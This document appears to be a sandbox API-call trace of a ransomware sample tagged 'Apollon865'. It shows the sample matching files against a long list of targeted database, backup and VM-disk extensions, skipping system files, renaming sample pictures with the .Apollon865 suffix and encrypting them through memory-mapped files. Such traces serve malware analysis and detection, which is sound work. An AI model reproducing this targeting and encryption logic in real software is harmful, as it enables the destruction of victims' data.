	[0042.140] lstrcmpiW (lpString1="se.jpg", lpString2="db-shm") returned 1
	[0042.140] lstrlenW (lpString="db-wal") returned 6
	[0042.140] lstrcmpiW (lpString1="se.jpg", lpString2="db-wal") returned 1
	[0042.140] lstrlenW (lpString="dbc") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0042.140] lstrlenW (lpString="dbs") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0042.140] lstrlenW (lpString="dbt") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0042.140] lstrlenW (lpString="dbv") returned 3
	[0042.140] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0042.140] lstrlenW (lpString="dbx") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0042.141] lstrlenW (lpString="dcb") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0042.141] lstrlenW (lpString="dct") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0042.141] lstrlenW (lpString="dcx") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0042.141] lstrlenW (lpString="ddl") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0042.141] lstrlenW (lpString="dlis") returned 4
	[0042.141] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0042.141] lstrlenW (lpString="dp1") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0042.141] lstrlenW (lpString="dqy") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0042.141] lstrlenW (lpString="dsk") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0042.141] lstrlenW (lpString="dsn") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0042.141] lstrlenW (lpString="dtsx") returned 4
	[0042.141] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0042.141] lstrlenW (lpString="dxl") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0042.141] lstrlenW (lpString="eco") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0042.141] lstrlenW (lpString="ecx") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0042.141] lstrlenW (lpString="edb") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0042.141] lstrlenW (lpString="epim") returned 4
	[0042.141] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0042.141] lstrlenW (lpString="fcd") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0042.141] lstrlenW (lpString="fdb") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0042.141] lstrlenW (lpString="fic") returned 3
	[0042.141] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0042.142] lstrlenW (lpString="flexolibrary") returned 12
	[0042.142] lstrcmpiW (lpString1="ghthouse.jpg", lpString2="flexolibrary") returned 1
	[0042.142] lstrlenW (lpString="fm5") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0042.142] lstrlenW (lpString="fmp") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0042.142] lstrlenW (lpString="fmp12") returned 5
	[0042.142] lstrcmpiW (lpString1="e.jpg", lpString2="fmp12") returned -1
	[0042.142] lstrlenW (lpString="fmpsl") returned 5
	[0042.142] lstrcmpiW (lpString1="e.jpg", lpString2="fmpsl") returned -1
	[0042.142] lstrlenW (lpString="fol") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0042.142] lstrlenW (lpString="fp3") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0042.142] lstrlenW (lpString="fp4") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0042.142] lstrlenW (lpString="fp5") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0042.142] lstrlenW (lpString="fp7") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0042.142] lstrlenW (lpString="fpt") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0042.142] lstrlenW (lpString="frm") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0042.142] lstrlenW (lpString="gdb") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0042.142] lstrlenW (lpString="gdb") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0042.142] lstrlenW (lpString="grdb") returned 4
	[0042.142] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0042.142] lstrlenW (lpString="gwi") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0042.142] lstrlenW (lpString="hdb") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0042.142] lstrlenW (lpString="his") returned 3
	[0042.142] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0042.142] lstrlenW (lpString="ib") returned 2
	[0042.142] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0042.143] lstrlenW (lpString="idb") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0042.143] lstrlenW (lpString="ihx") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0042.143] lstrlenW (lpString="itdb") returned 4
	[0042.143] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0042.143] lstrlenW (lpString="itw") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0042.143] lstrlenW (lpString="jet") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0042.143] lstrlenW (lpString="jtx") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0042.143] lstrlenW (lpString="kdb") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0042.143] lstrlenW (lpString="kexi") returned 4
	[0042.143] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0042.143] lstrlenW (lpString="kexic") returned 5
	[0042.143] lstrcmpiW (lpString1="e.jpg", lpString2="kexic") returned -1
	[0042.143] lstrlenW (lpString="kexis") returned 5
	[0042.143] lstrcmpiW (lpString1="e.jpg", lpString2="kexis") returned -1
	[0042.143] lstrlenW (lpString="lgc") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0042.143] lstrlenW (lpString="lwx") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0042.143] lstrlenW (lpString="maf") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0042.143] lstrlenW (lpString="maq") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0042.143] lstrlenW (lpString="mar") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0042.143] lstrlenW (lpString="marshal") returned 7
	[0042.143] lstrcmpiW (lpString1="use.jpg", lpString2="marshal") returned 1
	[0042.143] lstrlenW (lpString="mas") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0042.143] lstrlenW (lpString="mav") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0042.143] lstrlenW (lpString="maw") returned 3
	[0042.143] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0042.144] lstrlenW (lpString="mdbhtml") returned 7
	[0042.144] lstrcmpiW (lpString1="use.jpg", lpString2="mdbhtml") returned 1
	[0042.144] lstrlenW (lpString="mdn") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0042.144] lstrlenW (lpString="mdt") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0042.144] lstrlenW (lpString="mfd") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0042.144] lstrlenW (lpString="mpd") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0042.144] lstrlenW (lpString="mrg") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0042.144] lstrlenW (lpString="mud") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0042.144] lstrlenW (lpString="mwb") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0042.144] lstrlenW (lpString="myd") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0042.144] lstrlenW (lpString="ndf") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0042.144] lstrlenW (lpString="nnt") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0042.144] lstrlenW (lpString="nrmlib") returned 6
	[0042.144] lstrcmpiW (lpString1="se.jpg", lpString2="nrmlib") returned 1
	[0042.144] lstrlenW (lpString="ns2") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0042.144] lstrlenW (lpString="ns3") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0042.144] lstrlenW (lpString="ns4") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0042.144] lstrlenW (lpString="nsf") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0042.144] lstrlenW (lpString="nv") returned 2
	[0042.144] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0042.144] lstrlenW (lpString="nv2") returned 3
	[0042.144] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0042.144] lstrlenW (lpString="nwdb") returned 4
	[0042.144] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0042.144] lstrlenW (lpString="nyf") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0042.145] lstrlenW (lpString="odb") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0042.145] lstrlenW (lpString="odb") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0042.145] lstrlenW (lpString="oqy") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0042.145] lstrlenW (lpString="ora") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0042.145] lstrlenW (lpString="orx") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0042.145] lstrlenW (lpString="owc") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0042.145] lstrlenW (lpString="p96") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0042.145] lstrlenW (lpString="p97") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0042.145] lstrlenW (lpString="pan") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0042.145] lstrlenW (lpString="pdb") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0042.145] lstrlenW (lpString="pdm") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0042.145] lstrlenW (lpString="pnz") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0042.145] lstrlenW (lpString="qry") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0042.145] lstrlenW (lpString="qvd") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0042.145] lstrlenW (lpString="rbf") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0042.145] lstrlenW (lpString="rctd") returned 4
	[0042.145] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0042.145] lstrlenW (lpString="rod") returned 3
	[0042.145] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0042.145] lstrlenW (lpString="rodx") returned 4
	[0042.145] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0042.146] lstrlenW (lpString="rpd") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0042.146] lstrlenW (lpString="rsd") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0042.146] lstrlenW (lpString="sas7bdat") returned 8
	[0042.146] lstrcmpiW (lpString1="ouse.jpg", lpString2="sas7bdat") returned -1
	[0042.146] lstrlenW (lpString="sbf") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0042.146] lstrlenW (lpString="scx") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0042.146] lstrlenW (lpString="sdb") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0042.146] lstrlenW (lpString="sdc") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0042.146] lstrlenW (lpString="sdf") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0042.146] lstrlenW (lpString="sis") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0042.146] lstrlenW (lpString="spq") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0042.146] lstrlenW (lpString="te") returned 2
	[0042.146] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0042.146] lstrlenW (lpString="teacher") returned 7
	[0042.146] lstrcmpiW (lpString1="use.jpg", lpString2="teacher") returned 1
	[0042.146] lstrlenW (lpString="tmd") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0042.146] lstrlenW (lpString="tps") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0042.146] lstrlenW (lpString="trc") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0042.146] lstrlenW (lpString="trc") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0042.146] lstrlenW (lpString="trm") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0042.146] lstrlenW (lpString="udb") returned 3
	[0042.146] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0042.147] lstrlenW (lpString="udl") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0042.147] lstrlenW (lpString="usr") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0042.147] lstrlenW (lpString="v12") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0042.147] lstrlenW (lpString="vis") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0042.147] lstrlenW (lpString="vpd") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0042.147] lstrlenW (lpString="vvv") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0042.147] lstrlenW (lpString="wdb") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0042.147] lstrlenW (lpString="wmdb") returned 4
	[0042.147] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0042.147] lstrlenW (lpString="wrk") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0042.147] lstrlenW (lpString="xdb") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0042.147] lstrlenW (lpString="xld") returned 3
	[0042.147] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0042.147] lstrlenW (lpString="xmlff") returned 5
	[0042.147] lstrcmpiW (lpString1="e.jpg", lpString2="xmlff") returned -1
	[0042.147] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Apollon865") returned 66
	[0042.147] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.apollon865"), dwFlags=0x1) returned 1
	[0042.185] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Apollon865" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0042.185] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=561276) returned 1
	[0042.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0042.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0042.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0042.185] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0042.186] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0042.186] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.186] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x89380, lpName=0x0) returned 0x15c
	[0042.188] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x89380) returned 0x210000
	[0042.763] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0042.763] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0042.763] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0042.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0042.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0042.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0042.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.764] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0042.769] CloseHandle (hObject=0x15c) returned 1
	[0042.769] CloseHandle (hObject=0x154) returned 1
	[0042.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0042.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0042.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0042.787] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1
	[0042.787] lstrcmpiW (lpString1="Penguins.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.787] lstrcmpiW (lpString1="Penguins.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="..") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="windows") returned -1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="bootmgr") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="temp") returned -1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="pagefile.sys") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="boot") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="ids.txt") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="ntuser.dat") returned 1
	[0042.788] lstrcmpiW (lpString1="Penguins.jpg", lpString2="perflogs") returned -1
	[0042.789] lstrcmpiW (lpString1="Penguins.jpg", lpString2="MSBuild") returned 1
	[0042.790] lstrlenW (lpString="Penguins.jpg") returned 12
	[0042.790] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned 55
	[0042.791] lstrcpyW (in: lpString1=0x119e65a, lpString2="Penguins.jpg" | out: lpString1="Penguins.jpg") returned="Penguins.jpg"
	[0042.793] lstrlenW (lpString="Penguins.jpg") returned 12
	[0042.794] lstrlenW (lpString="Apollon865") returned 10
	[0042.794] lstrcmpiW (lpString1="nguins.jpg", lpString2="Apollon865") returned 1
	[0042.795] lstrlenW (lpString=".dll") returned 4
	[0042.796] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".dll") returned 1
	[0042.796] lstrlenW (lpString=".lnk") returned 4
	[0042.797] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".lnk") returned 1
	[0042.797] lstrlenW (lpString=".ini") returned 4
	[0042.797] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".ini") returned 1
	[0042.797] lstrlenW (lpString=".sys") returned 4
	[0042.799] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".sys") returned 1
	[0042.800] lstrlenW (lpString="Penguins.jpg") returned 12
	[0042.801] lstrlenW (lpString="bak") returned 3
	[0042.801] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0042.802] lstrlenW (lpString="ba_") returned 3
	[0042.802] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0042.803] lstrlenW (lpString="dbb") returned 3
	[0042.803] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0042.804] lstrlenW (lpString="vmdk") returned 4
	[0042.823] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0042.823] lstrlenW (lpString="rar") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0042.823] lstrlenW (lpString="zip") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0042.823] lstrlenW (lpString="tgz") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0042.823] lstrlenW (lpString="vbox") returned 4
	[0042.823] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0042.823] lstrlenW (lpString="vdi") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0042.823] lstrlenW (lpString="vhd") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0042.823] lstrlenW (lpString="vhdx") returned 4
	[0042.823] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0042.823] lstrlenW (lpString="avhd") returned 4
	[0042.823] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0042.823] lstrlenW (lpString="db") returned 2
	[0042.823] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0042.823] lstrlenW (lpString="db2") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0042.823] lstrlenW (lpString="db3") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0042.823] lstrlenW (lpString="dbf") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0042.823] lstrlenW (lpString="mdf") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0042.823] lstrlenW (lpString="mdb") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0042.823] lstrlenW (lpString="sql") returned 3
	[0042.823] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0042.823] lstrlenW (lpString="sqlite") returned 6
	[0042.823] lstrcmpiW (lpString1="ns.jpg", lpString2="sqlite") returned -1
	[0042.823] lstrlenW (lpString="sqlite3") returned 7
	[0042.824] lstrcmpiW (lpString1="ins.jpg", lpString2="sqlite3") returned -1
	[0042.824] lstrlenW (lpString="sqlitedb") returned 8
	[0042.824] lstrcmpiW (lpString1="uins.jpg", lpString2="sqlitedb") returned 1
	[0042.824] lstrlenW (lpString="xml") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0042.824] lstrlenW (lpString="$er") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0042.824] lstrlenW (lpString="4dd") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0042.824] lstrlenW (lpString="4dl") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0042.824] lstrlenW (lpString="^^^") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0042.824] lstrlenW (lpString="abs") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0042.824] lstrlenW (lpString="abx") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0042.824] lstrlenW (lpString="accdb") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0042.824] lstrlenW (lpString="accdc") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0042.824] lstrlenW (lpString="accde") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0042.824] lstrlenW (lpString="accdr") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0042.824] lstrlenW (lpString="accdt") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0042.824] lstrlenW (lpString="accdw") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0042.824] lstrlenW (lpString="accft") returned 5
	[0042.824] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0042.824] lstrlenW (lpString="adb") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0042.824] lstrlenW (lpString="adb") returned 3
	[0042.824] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0042.824] lstrlenW (lpString="ade") returned 3
	[0042.825] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0042.825] lstrlenW (lpString="adf") returned 3
